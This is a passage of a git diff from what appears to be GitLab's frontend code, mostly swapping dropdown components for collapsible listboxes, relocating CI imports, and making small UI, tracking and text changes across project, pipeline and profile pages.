- GlDropdownSectionHeader,
- GlSearchBoxByType,
- GlTruncate,
-} from '@gitlab/ui';
+import { GlButton, GlButtonGroup, GlCollapsibleListbox } from '@gitlab/ui';
import { createAlert } from '~/flash';
import { MINIMUM_SEARCH_LENGTH } from '~/graphql_shared/constants';
import { s__ } from '~/locale';
@@ -20,12 +11,7 @@ export default {
components: {
GlButton,
GlButtonGroup,
- GlDropdown,
- GlDropdownItem,
- GlDropdownText,
- GlDropdownSectionHeader,
- GlSearchBoxByType,
- GlTruncate,
+ GlCollapsibleListbox,
},
apollo: {
project: {
@@ -61,24 +47,25 @@ export default {
};
},
computed: {
+ loading() {
+ return this.$apollo.queries.project.loading;
+ },
rootUrl() {
return `${gon.gitlab_url}/`;
},
namespaces() {
return this.project.forkTargets?.nodes || [];
},
- hasMatches() {
- return this.namespaces.length;
- },
dropdownText() {
return this.selectedNamespace?.fullPath || s__('ForkProject|Select a namespace');
},
+ namespaceItems() {
+ return this.namespaces?.map(({ id, fullPath }) => ({ value: id, text: fullPath }));
+ },
},
methods: {
- handleDropdownShown() {
- this.$refs.search.focusInput();
- },
- setNamespace(namespace) {
+ setNamespace(namespaceId) {
+ const namespace = this.namespaces.find(({ id }) => id === namespaceId);
const id = getIdFromGraphQLId(namespace.id);
this.$emit('select', {
@@ -89,6 +76,9 @@ export default {
this.selectedNamespace = { id, fullPath: namespace.fullPath };
},
+ searchNamespaces(search) {
+ this.search = search;
+ },
},
};
</script>
@@ -98,39 +88,19 @@ export default {
<gl-button class="gl-text-truncate gl-flex-grow-0! gl-max-w-34" label :title="rootUrl">{{
rootUrl
}}</gl-button>
-
- <gl-dropdown
+ <gl-collapsible-listbox
class="gl-flex-grow-1"
- toggle-class="gl-rounded-top-right-base! gl-rounded-bottom-right-base! gl-w-20"
data-qa-selector="select_namespace_dropdown"
data-testid="select_namespace_dropdown"
- no-flip
- @shown="handleDropdownShown"
- >
- <template #button-text>
- <gl-truncate :text="dropdownText" position="start" with-tooltip />
- </template>
- <gl-search-box-by-type
- ref="search"
- v-model.trim="search"
- :is-loading="$apollo.queries.project.loading"
- data-qa-selector="select_namespace_dropdown_search_field"
- data-testid="select_namespace_dropdown_search_field"
- />
- <template v-if="!$apollo.queries.project.loading">
- <template v-if="hasMatches">
- <gl-dropdown-section-header>{{ __('Namespaces') }}</gl-dropdown-section-header>
- <gl-dropdown-item
- v-for="namespace of namespaces"
- :key="namespace.id"
- data-qa-selector="select_namespace_dropdown_item"
- @click="setNamespace(namespace)"
- >
- {{ namespace.fullPath }}
- </gl-dropdown-item>
- </template>
- <gl-dropdown-text v-else>{{ __('No matches found') }}</gl-dropdown-text>
- </template>
- </gl-dropdown>
+ :items="namespaceItems"
+ :header-text="__('Namespaces')"
+ :no-results-text="__('No matches found')"
+ :searchable="true"
+ :searching="loading"
+ toggle-class="gl-flex-direction-column gl-align-items-stretch!"
+ :toggle-text="dropdownText"
+ @search="searchNamespaces"
+ @select="setNamespace"
+ />
</gl-button-group>
</template>
diff --git a/app/assets/javascripts/pages/projects/forks/new/index.js b/app/assets/javascripts/pages/projects/forks/new/index.js
index d3a5ce5390f..a31b8b1a1f4 100644
--- a/app/assets/javascripts/pages/projects/forks/new/index.js
+++ b/app/assets/javascripts/pages/projects/forks/new/index.js
@@ -11,6 +11,7 @@ const {
newGroupPath,
projectFullPath,
visibilityHelpPath,
+ cancelPath,
projectId,
projectName,
projectPath,
@@ -30,6 +31,7 @@ new Vue({
provide: {
newGroupPath,
visibilityHelpPath,
+ cancelPath,
endpoint,
projectFullPath,
projectId,
diff --git a/app/assets/javascripts/pages/projects/index.js b/app/assets/javascripts/pages/projects/index.js
index 7380055cbbf..37cf345fe77 100644
--- a/app/assets/javascripts/pages/projects/index.js
+++ b/app/assets/javascripts/pages/projects/index.js
@@ -1,9 +1,7 @@
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import initTerraformNotification from '~/projects/terraform_notification';
-import { initSidebarTracking } from '../shared/nav/sidebar_tracking';
import Project from './project';
new Project(); // eslint-disable-line no-new
new ShortcutsNavigation(); // eslint-disable-line no-new
-initSidebarTracking();
initTerraformNotification();
diff --git a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue
index 3717d8027c4..d9b0dbbb9b0 100644
--- a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue
+++ b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue
@@ -22,7 +22,7 @@ export default {
GlTooltip,
},
i18n: {
- contactAdmin: s__('LearnGitlab|Contact your administrator to start a free Ultimate trial.'),
+ contactAdmin: s__('LearnGitlab|Contact your administrator to enable this action.'),
viewAdminList: s__('LearnGitlab|View administrator list'),
watchHow: __('Watch how'),
},
@@ -50,6 +50,9 @@ export default {
openInNewTab() {
return ACTION_LABELS[this.action]?.openInNewTab === true || this.value.openInNewTab === true;
},
+ popoverText() {
+ return this.value.message || this.$options.i18n.contactAdmin;
+ },
},
methods: {
openModal() {
@@ -101,7 +104,7 @@ export default {
category="tertiary"
icon="question-o"
class="ml-auto"
- :aria-label="$options.i18n.contactAdmin"
+ :aria-label="popoverText"
size="small"
data-testid="contact-admin-popover-trigger"
/>
@@ -111,7 +114,7 @@ export default {
triggers="hover focus"
data-testid="contact-admin-popover"
>
- <p>{{ $options.i18n.contactAdmin }}</p>
+ <p>{{ popoverText }}</p>
<gl-link
:href="value.url"
class="font-size-inherit"
diff --git a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request.js b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request.js
index a4e3ddfc506..d4734b8842d 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request.js
@@ -4,14 +4,12 @@ import $ from 'jquery';
import IssuableForm from 'ee_else_ce/issuable/issuable_form';
import IssuableLabelSelector from '~/issuable/issuable_label_selector';
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
-import Diff from '~/diff';
import GLForm from '~/gl_form';
import LabelsSelect from '~/labels/labels_select';
import IssuableTemplateSelectors from '~/issuable/issuable_template_selectors';
import { mountMilestoneDropdown } from '~/sidebar/mount_sidebar';
export default () => {
- new Diff();
new ShortcutsNavigation();
new GLForm($('.merge-request-form'));
new IssuableForm($('.merge-request-form'));
diff --git a/app/assets/javascripts/pages/projects/merge_requests/show/index.js b/app/assets/javascripts/pages/projects/merge_requests/show/index.js
index 568bf19b55e..f0a955e5360 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/show/index.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/show/index.js
@@ -1,5 +1,7 @@
import initNotesApp from '~/mr_notes/init_notes';
+import { initReportAbuse } from '~/projects/merge_requests';
import { initMrPage } from '../page';
initMrPage();
initNotesApp();
+initReportAbuse();
diff --git a/app/assets/javascripts/pages/projects/ml/experiments/show/index.js b/app/assets/javascripts/pages/projects/ml/experiments/show/index.js
index 97e436920c7..6947b15dcbe 100644
--- a/app/assets/javascripts/pages/projects/ml/experiments/show/index.js
+++ b/app/assets/javascripts/pages/projects/ml/experiments/show/index.js
@@ -1,5 +1,6 @@
import Vue from 'vue';
import MlExperiment from '~/ml/experiment_tracking/components/ml_experiment.vue';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
const initShowExperiment = () => {
const element = document.querySelector('#js-show-ml-experiment');
@@ -13,6 +14,7 @@ const initShowExperiment = () => {
const candidates = JSON.parse(element.dataset.candidates);
const metricNames = JSON.parse(element.dataset.metrics);
const paramNames = JSON.parse(element.dataset.params);
+ const pagination = convertObjectPropsToCamelCase(JSON.parse(element.dataset.pagination));
// eslint-disable-next-line no-new
new Vue({
@@ -21,6 +23,7 @@ const initShowExperiment = () => {
candidates,
metricNames,
paramNames,
+ pagination,
},
render(h) {
return h(MlExperiment);
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/index/index.js b/app/assets/javascripts/pages/projects/pipeline_schedules/index/index.js
index 27610df482d..4bdbb70d942 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/index/index.js
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/index/index.js
@@ -67,10 +67,9 @@ function initTakeownershipModal() {
});
}
-initPipelineSchedulesCallout();
-
if (gon.features?.pipelineSchedulesVue) {
initPipelineSchedulesApp();
} else {
+ initPipelineSchedulesCallout();
initTakeownershipModal();
}
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue
index fd8b1a6290f..242c5a1a97b 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue
@@ -54,7 +54,7 @@ export default {
inputNameAttribute: 'schedule[cron]',
radioValue: this.initialCronInterval ? KEY_CUSTOM : KEY_EVERY_DAY,
cronInterval: this.initialCronInterval,
- cronSyntaxUrl: 'https://en.wikipedia.org/wiki/Cron',
+ cronSyntaxUrl: 'https://docs.gitlab.com/ee/topics/cron/',
};
},
computed: {
@@ -95,7 +95,7 @@ export default {
},
{
value: KEY_CUSTOM,
- text: s__('PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})'),
+ text: s__('PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})'),
link: this.cronSyntaxUrl,
},
];
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/init_form.js b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/init_form.js
index abd17efc498..8440d0e77cd 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/init_form.js
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/init_form.js
@@ -3,7 +3,7 @@ import Vue from 'vue';
import { __ } from '~/locale';
import RefSelector from '~/ref/components/ref_selector.vue';
import { REF_TYPE_BRANCHES, REF_TYPE_TAGS } from '~/ref/constants';
-import setupNativeFormVariableList from '~/ci_variable_list/native_form_variable_list';
+import setupNativeFormVariableList from '~/ci/ci_variable_list/native_form_variable_list';
import GlFieldErrors from '~/gl_field_errors';
import Translate from '~/vue_shared/translate';
import { initTimezoneDropdown } from '../../../profiles/init_timezone_dropdown';
diff --git a/app/assets/javascripts/pages/projects/pipelines/new/index.js b/app/assets/javascripts/pages/projects/pipelines/new/index.js
index e1f71965853..9b94b8ba96b 100644
--- a/app/assets/javascripts/pages/projects/pipelines/new/index.js
+++ b/app/assets/javascripts/pages/projects/pipelines/new/index.js
@@ -1,3 +1,3 @@
-import initNewPipelineForm from '~/pipeline_new/index';
+import initNewPipelineForm from '~/ci/pipeline_new/index';
initNewPipelineForm();
diff --git a/app/assets/javascripts/pages/projects/project_members/index.js b/app/assets/javascripts/pages/projects/project_members/index.js
index 9a7fd74fd8c..2fd372a45b8 100644
--- a/app/assets/javascripts/pages/projects/project_members/index.js
+++ b/app/assets/javascripts/pages/projects/project_members/index.js
@@ -20,7 +20,7 @@ initImportProjectMembersTrigger();
const SHARED_FIELDS = ['account', 'maxRole', 'expiration', 'actions'];
initMembersApp(document.querySelector('.js-project-members-list-app'), {
[MEMBER_TYPES.user]: {
- tableFields: SHARED_FIELDS.concat(['source', 'granted', 'userCreatedAt', 'lastActivityOn']),
+ tableFields: SHARED_FIELDS.concat(['source', 'activity']),
tableAttrs: { tr: { 'data-qa-selector': 'member_row' } },
tableSortableFields: [
'account',
diff --git a/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js b/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
index 8909ff1f221..895c7d0a18e 100644
--- a/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
+++ b/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
@@ -1,7 +1,7 @@
import initArtifactsSettings from '~/artifacts_settings';
import SecretValues from '~/behaviors/secret_values';
import initSettingsPipelinesTriggers from '~/ci_settings_pipeline_triggers';
-import initVariableList from '~/ci_variable_list';
+import initVariableList from '~/ci/ci_variable_list';
import initDeployFreeze from '~/deploy_freeze';
import registrySettingsApp from '~/packages_and_registries/settings/project/registry_settings_bundle';
import { initRunnerAwsDeployments } from '~/pages/shared/mount_runner_aws_deployments';
@@ -11,6 +11,7 @@ import initSettingsPanels from '~/settings_panels';
import { initTokenAccess } from '~/token_access';
import { initCiSecureFiles } from '~/ci_secure_files';
import initDeployTokens from '~/deploy_tokens';
+import { initProjectRunners } from '~/ci/runner/project_runners';
// Initialize expandable settings panels
initSettingsPanels();
@@ -37,11 +38,13 @@ document.querySelector('.js-toggle-extra-settings').addEventListener('click', (e
registrySettingsApp();
initDeployTokens();
initDeployFreeze();
-
initSettingsPipelinesTriggers();
initArtifactsSettings();
+
+initProjectRunners();
initSharedRunnersToggle();
initInstallRunner();
initRunnerAwsDeployments();
+
initTokenAccess();
initCiSecureFiles();
diff --git a/app/assets/javascripts/pages/projects/settings/merge_requests/index.js b/app/assets/javascripts/pages/projects/settings/merge_requests/index.js
index 0f7ede8ed42..40741be5f53 100644
--- a/app/assets/javascripts/pages/projects/settings/merge_requests/index.js
+++ b/app/assets/javascripts/pages/projects/settings/merge_requests/index.js
@@ -1,7 +1,4 @@
-import groupsSelect from '~/groups_select';
import UserCallout from '~/user_callout';
-groupsSelect();
-
// eslint-disable-next-line no-new
new UserCallout({ className: 'js-mr-approval-callout' });
diff --git a/app/assets/javascripts/pages/projects/usage_quotas/index.js b/app/assets/javascripts/pages/projects/usage_quotas/index.js
new file mode 100644
index 00000000000..885b8ca8e12
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/usage_quotas/index.js
@@ -0,0 +1,9 @@
+import initProjectStorage from '~/usage_quotas/storage/init_project_storage';
+import initSearchSettings from '~/search_settings';
+
+const initVueApp = () => {
+ initProjectStorage('js-project-storage-count-app');
+};
+
+initVueApp();
+initSearchSettings();
diff --git a/app/assets/javascripts/pages/users/index.js b/app/assets/javascripts/pages/users/index.js
index 5cbb7a06bc1..30c351359e4 100644
--- a/app/assets/javascripts/pages/users/index.js
+++ b/app/assets/javascripts/pages/users/index.js
@@ -1,6 +1,7 @@
import $ from 'jquery';
import { setCookie } from '~/lib/utils/common_utils';
import UserCallout from '~/user_callout';
+import { initReportAbuse } from '~/users/profile';
import UserTabs from './user_tabs';
function initUserProfile(action) {
@@ -19,3 +20,4 @@ const page = $('body').attr('data-page');
const action = page.split(':')[1];
initUserProfile(action);
new UserCallout(); // eslint-disable-line no-new
+initReportAbuse();
diff --git a/app/assets/javascripts/pipeline_new/components/refs_dropdown.vue b/app/assets/javascripts/pipeline_new/components/refs_dropdown.vue
deleted file mode 100644
index d35d2010150..00000000000
--- a/app/assets/javascripts/pipeline_new/components/refs_dropdown.vue
+++ /dev/null
@@ -1,114 +0,0 @@
-<script>
-import { GlDropdown, GlDropdownItem, GlDropdownSectionHeader, GlSearchBoxByType } from '@gitlab/ui';
-import { debounce } from 'lodash';
-import axios from '~/lib/utils/axios_utils';
-import { BRANCH_REF_TYPE, TAG_REF_TYPE, DEBOUNCE_REFS_SEARCH_MS } from '../constants';
-import formatRefs from '../utils/format_refs';
-
-export default {
- components: {
- GlDropdown,
- GlDropdownItem,
- GlDropdownSectionHeader,
- GlSearchBoxByType,
- },
- inject: ['projectRefsEndpoint'],
- props: {
- value: {
- type: Object,
- required: false,
- default: () => ({}),
- },
- },
- data() {
- return {
- isLoading: false,
- searchTerm: '',
- branches: [],
- tags: [],
- };
- },
- computed: {
- lowerCasedSearchTerm() {
- return this.searchTerm.toLowerCase();
- },
- refShortName() {
- return this.value.shortName;
- },
- hasTags() {
- return this.tags.length > 0;
- },
- },
- watch: {
- searchTerm() {
- this.debouncedLoadRefs();
- },
- },
- methods: {
- loadRefs() {
- this.isLoading = true;
-
- axios
- .get(this.projectRefsEndpoint, {
- params: {
- search: this.lowerCasedSearchTerm,
- },
- })
- .then(({ data }) => {
- // Note: These keys are uppercase in API
- const { Branches = [], Tags = [] } = data;
-
- this.branches = formatRefs(Branches, BRANCH_REF_TYPE);
- this.tags = formatRefs(Tags, TAG_REF_TYPE);
- })
- .catch((e) => {
- this.$emit('loadingError', e);
- })
- .finally(() => {
- this.isLoading = false;
- });
- },
- debouncedLoadRefs: debounce(function debouncedLoadRefs() {
- this.loadRefs();
- }, DEBOUNCE_REFS_SEARCH_MS),
- setRefSelected(ref) {
- this.$emit('input', ref);
- },
- isSelected(ref) {
- return ref.fullName === this.value.fullName;
- },
- },
-};
-</script>
-<template>
- <gl-dropdown :text="refShortName" block data-testid="ref-select" @show.once="loadRefs">
- <gl-search-box-by-type
- v-model.trim="searchTerm"
- :is-loading="isLoading"
- :placeholder="__('Search refs')"
- data-testid="search-refs"
- />
- <gl-dropdown-section-header>{{ __('Branches') }}</gl-dropdown-section-header>
- <gl-dropdown-item
- v-for="branch in branches"
- :key="branch.fullName"
- class="gl-font-monospace"
- is-check-item
- :is-checked="isSelected(branch)"
- @click="setRefSelected(branch)"
- >
- {{ branch.shortName }}
- </gl-dropdown-item>
- <gl-dropdown-section-header v-if="hasTags">{{ __('Tags') }}</gl-dropdown-section-header>
- <gl-dropdown-item
- v-for="tag in tags"
- :key="tag.fullName"
- class="gl-font-monospace"
- is-check-item
- :is-checked="isSelected(tag)"
- @click="setRefSelected(tag)"
- >
- {{ tag.shortName }}
- </gl-dropdown-item>
- </gl-dropdown>
-</template>
diff --git a/app/assets/javascripts/pipeline_new/utils/format_refs.js b/app/assets/javascripts/pipeline_new/utils/format_refs.js
deleted file mode 100644
index f0fbc5ed7b6..00000000000
--- a/app/assets/javascripts/pipeline_new/utils/format_refs.js
+++ /dev/null
@@ -1,18 +0,0 @@
-import { BRANCH_REF_TYPE, TAG_REF_TYPE } from '../constants';
-
-export default (refs, type) => {
- let fullName;
-
- return refs.map((ref) => {
- if (type === BRANCH_REF_TYPE) {
- fullName = `refs/heads/${ref}`;
- } else if (type === TAG_REF_TYPE) {
- fullName = `refs/tags/${ref}`;
- }
-
- return {
- shortName: ref,
- fullName,
- };
- });
-};
diff --git a/app/assets/javascripts/pipeline_wizard/components/wrapper.vue b/app/assets/javascripts/pipeline_wizard/components/wrapper.vue
index adeb4ae598b..ab837d04d9a 100644
--- a/app/assets/javascripts/pipeline_wizard/components/wrapper.vue
+++ b/app/assets/javascripts/pipeline_wizard/components/wrapper.vue
@@ -6,6 +6,7 @@ import { merge } from '~/lib/utils/yaml';
import { __ } from '~/locale';
import { isValidStepSeq } from '~/pipeline_wizard/validators';
import Tracking from '~/tracking';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import YamlEditor from './editor.vue';
import WizardStep from './step.vue';
import CommitStep from './commit.vue';
@@ -28,7 +29,7 @@ export default {
WizardStep,
CommitStep,
},
- mixins: [trackingMixin],
+ mixins: [trackingMixin, glFeatureFlagsMixin()],
props: {
steps: {
type: Object,
@@ -91,6 +92,11 @@ export default {
category: `pipeline_wizard:${this.templateId}`,
};
},
+ trackingExtraData() {
+ return {
+ features: this.glFeatures,
+ };
+ },
},
watch: {
isLastStep(value) {
@@ -125,6 +131,7 @@ export default {
extra: {
fromStep: this.currentStepIndex + 1,
toStep: this.currentStepIndex,
+ ...this.trackingExtraData,
},
});
},
@@ -136,6 +143,7 @@ export default {
extra: {
fromStep: this.currentStepIndex - 1,
toStep: this.currentStepIndex,
+ ...this.trackingExtraData,
},
});
},
@@ -144,6 +152,7 @@ export default {
this.track('click_button', {
label: 'pipeline_wizard_commit',
property: 'commit',
+ extra: this.trackingExtraData,
});
},
onEditorTouched() {
@@ -151,6 +160,7 @@ export default {
label: 'pipeline_wizard_editor_interaction',
extra: {
currentStep: this.currentStepIndex,
+ ...this.trackingExtraData,
},
});
},
diff --git a/app/assets/javascripts/pipelines/components/jobs/failed_jobs_table.vue b/app/assets/javascripts/pipelines/components/jobs/failed_jobs_table.vue
index c56537f4039..041b62e02ec 100644
--- a/app/assets/javascripts/pipelines/components/jobs/failed_jobs_table.vue
+++ b/app/assets/javascripts/pipelines/components/jobs/failed_jobs_table.vue
@@ -4,7 +4,7 @@ import SafeHtml from '~/vue_shared/directives/safe_html';
import { __, s__ } from '~/locale';
import { createAlert } from '~/flash';
import { redirectTo } from '~/lib/utils/url_utility';
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import CiBadgeLink from '~/vue_shared/components/ci_badge_link.vue';
import RetryFailedJobMutation from '../../graphql/mutations/retry_failed_job.mutation.graphql';
import { DEFAULT_FIELDS } from '../../constants';
@@ -12,7 +12,7 @@ export default {
fields: DEFAULT_FIELDS,
retry: __('Retry'),
components: {
- CiBadge,
+ CiBadgeLink,
GlButton,
GlLink,
GlTableLite,
@@ -72,7 +72,7 @@ export default {
<div
class="gl-display-flex gl-align-items-center gl-lg-justify-content-start gl-justify-content-end"
>
- <ci-badge :status="item.detailedStatus" :show-text="false" class="gl-mr-3" />
+ <ci-badge-link :status="item.detailedStatus" :show-text="false" class="gl-mr-3" />
<div class="gl-text-truncate">
<gl-link
:href="item.detailedStatus.detailsPath"
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
index 30528ce8d17..c498f12d5c7 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
@@ -1,5 +1,5 @@
<script>
-import { GlDropdown, GlDropdownItem, GlEmptyState, GlIcon, GlLoadingIcon } from '@gitlab/ui';
+import { GlEmptyState, GlIcon, GlLoadingIcon, GlCollapsibleListbox } from '@gitlab/ui';
import { isEqual } from 'lodash';
import { createAlert, VARIANT_INFO, VARIANT_WARNING } from '~/flash';
import { getParameterByName } from '~/lib/utils/url_utility';
@@ -26,8 +26,7 @@ export default {
PipelineKeyOptions,
components: {
EmptyState,
- GlDropdown,
- GlDropdownItem,
+ GlCollapsibleListbox,
GlEmptyState,
GlIcon,
GlLoadingIcon,
@@ -315,7 +314,7 @@ export default {
this.updateContent(this.requestData);
},
changeVisibilityPipelineID(val) {
- this.selectedPipelineKeyOption = val;
+ this.selectedPipelineKeyOption = PipelineKeyOptions.find((e) => val === e.value);
},
},
};
@@ -355,21 +354,12 @@ export default {
:params="validatedParams"
@filterPipelines="filterPipelines"
/>
- <gl-dropdown
- class="gl-display-flex"
- :text="selectedPipelineKeyOption.text"
- data-testid="pipeline-key-dropdown"
- >
- <gl-dropdown-item
- v-for="(val, index) in $options.PipelineKeyOptions"
- :key="index"
- :is-checked="selectedPipelineKeyOption.key === val.key"
- is-check-item
- @click="changeVisibilityPipelineID(val)"
- >
- {{ val.text }}
- </gl-dropdown-item>
- </gl-dropdown>
+ <gl-collapsible-listbox
+ data-testid="pipeline-key-collapsible-box"
+ :toggle-text="selectedPipelineKeyOption.text"
+ :items="$options.PipelineKeyOptions"
+ @select="changeVisibilityPipelineID"
+ />
</div>
</div>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_status_badge.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_status_badge.vue
index 936ae4da1ec..00ab8a25ca1 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_status_badge.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_status_badge.vue
@@ -1,12 +1,12 @@
<script>
import { CHILD_VIEW, TRACKING_CATEGORIES } from '~/pipelines/constants';
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import CiBadgeLink from '~/vue_shared/components/ci_badge_link.vue';
import Tracking from '~/tracking';
import PipelinesTimeago from './time_ago.vue';
export default {
components: {
- CiBadge,
+ CiBadgeLink,
PipelinesTimeago,
},
mixins: [Tracking.mixin()],
@@ -38,14 +38,13 @@ export default {
<template>
<div>
- <ci-badge
+ <ci-badge-link
class="gl-mb-3"
:status="pipelineStatus"
:show-text="!isChildView"
- :icon-classes="'gl-vertical-align-middle!'"
data-qa-selector="pipeline_commit_status"
@ciStatusBadgeClick="trackClick"
/>
- <pipelines-timeago class="gl-mt-3" :pipeline="pipeline" />
+ <pipelines-timeago :pipeline="pipeline" />
</div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table.vue
index 346f5735576..ed32d643c0e 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table.vue
@@ -161,7 +161,7 @@ export default {
<pipeline-url
:pipeline="item"
:pipeline-schedule-url="pipelineScheduleUrl"
- :pipeline-key="pipelineKeyOption.key"
+ :pipeline-key="pipelineKeyOption.value"
/>
</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue b/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
index cd44c998074..960af030421 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
@@ -19,53 +19,51 @@ export default {
duration() {
return this.pipeline?.details?.duration;
},
- finishedTime() {
- return this.pipeline?.details?.finished_at;
- },
- skipped() {
- return this.pipeline?.details?.status?.label === 'skipped';
- },
- stuck() {
- return this.pipeline.flags.stuck;
- },
durationFormatted() {
return durationTimeFormatted(this.duration);
},
+ finishedTime() {
+ return this.pipeline?.details?.finished_at;
+ },
showInProgress() {
return !this.duration && !this.finishedTime && !this.skipped;
},
showSkipped() {
return !this.duration && !this.finishedTime && this.skipped;
},
+ skipped() {
+ return this.pipeline?.details?.status?.label === 'skipped';
+ },
+ stuck() {
+ return this.pipeline.flags.stuck;
+ },
},
};
</script>
<template>
- <div class="gl-display-block">
- <span v-if="showInProgress" data-testid="pipeline-in-progress">
+ <div class="gl-display-flex gl-flex-direction-column time-ago">
+ <span
+ v-if="showInProgress"
+ class="gl-display-inline-flex gl-align-items-center"
+ data-testid="pipeline-in-progress"
+ >
<gl-icon v-if="stuck" name="warning" class="gl-mr-2" :size="12" data-testid="warning-icon" />
- <gl-icon
- v-else
- name="hourglass"
- class="gl-vertical-align-baseline! gl-mr-2"
- :size="12"
- data-testid="hourglass-icon"
- />
+ <gl-icon v-else name="hourglass" class="gl-mr-2" :size="12" data-testid="hourglass-icon" />
{{ s__('Pipeline|In progress') }}
</span>
<span v-if="showSkipped" data-testid="pipeline-skipped">
- <gl-icon name="status_skipped_borderless" class="gl-mr-2" :size="16" />
+ <gl-icon name="status_skipped_borderless" />
{{ s__('Pipeline|Skipped') }}
</span>
- <p v-if="duration" class="duration">
- <gl-icon name="timer" class="gl-vertical-align-baseline!" :size="12" />
+ <p v-if="duration" class="duration gl-display-inline-flex gl-align-items-center">
+ <gl-icon name="timer" class="gl-mr-2" :size="12" />
{{ durationFormatted }}
</p>
- <p v-if="finishedTime" class="finished-at d-none d-md-block">
- <gl-icon name="calendar" class="gl-vertical-align-baseline!" :size="12" />
+ <p v-if="finishedTime" class="finished-at gl-display-inline-flex gl-align-items-center">
+ <gl-icon name="calendar" class="gl-mr-2" :size="12" />
<time
v-gl-tooltip
diff --git a/app/assets/javascripts/pipelines/constants.js b/app/assets/javascripts/pipelines/constants.js
index ed8ec614304..2f37f90e625 100644
--- a/app/assets/javascripts/pipelines/constants.js
+++ b/app/assets/javascripts/pipelines/constants.js
@@ -71,12 +71,12 @@ export const PipelineKeyOptions = [
{
text: __('Show Pipeline ID'),
label: __('Pipeline ID'),
- key: 'id',
+ value: 'id',
},
{
text: __('Show Pipeline IID'),
label: __('Pipeline IID'),
- key: 'iid',
+ value: 'iid',
},
];
diff --git a/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js b/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js
index 07551c2342f..e6770b71113 100644
--- a/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js
+++ b/app/assets/javascripts/pipelines/mixins/pipelines_mixin.js
@@ -2,7 +2,7 @@ import Visibility from 'visibilityjs';
import { createAlert } from '~/flash';
import { helpPagePath } from '~/helpers/help_page_helper';
import { historyPushState, buildUrlWithCurrentLocation } from '~/lib/utils/common_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_UNAUTHORIZED } from '~/lib/utils/http_status';
import Poll from '~/lib/utils/poll';
import { __ } from '~/locale';
import { validateParams } from '~/pipelines/utils';
@@ -196,7 +196,7 @@ export default {
this.updateTable();
})
.catch((e) => {
- const unauthorized = e.response.status === httpStatusCodes.UNAUTHORIZED;
+ const unauthorized = e.response.status === HTTP_STATUS_UNAUTHORIZED;
let errorMessage = __(
'An error occurred while trying to run a new pipeline for this merge request.',
);
diff --git a/app/assets/javascripts/profile/preferences/profile_preferences_bundle.js b/app/assets/javascripts/profile/preferences/profile_preferences_bundle.js
index 6520e68d41c..8e4d42a42c6 100644
--- a/app/assets/javascripts/profile/preferences/profile_preferences_bundle.js
+++ b/app/assets/javascripts/profile/preferences/profile_preferences_bundle.js
@@ -1,7 +1,10 @@
import Vue from 'vue';
+import { initListboxInputs } from '~/vue_shared/components/listbox_input/init_listbox_inputs';
import ProfilePreferences from './components/profile_preferences.vue';
export default () => {
+ initListboxInputs();
+
const el = document.querySelector('#js-profile-preferences-app');
const formEl = document.querySelector('#profile-preferences-form');
const shouldParse = ['integrationViews', 'themes', 'userFields'];
diff --git a/app/assets/javascripts/profile/profile.js b/app/assets/javascripts/profile/profile.js
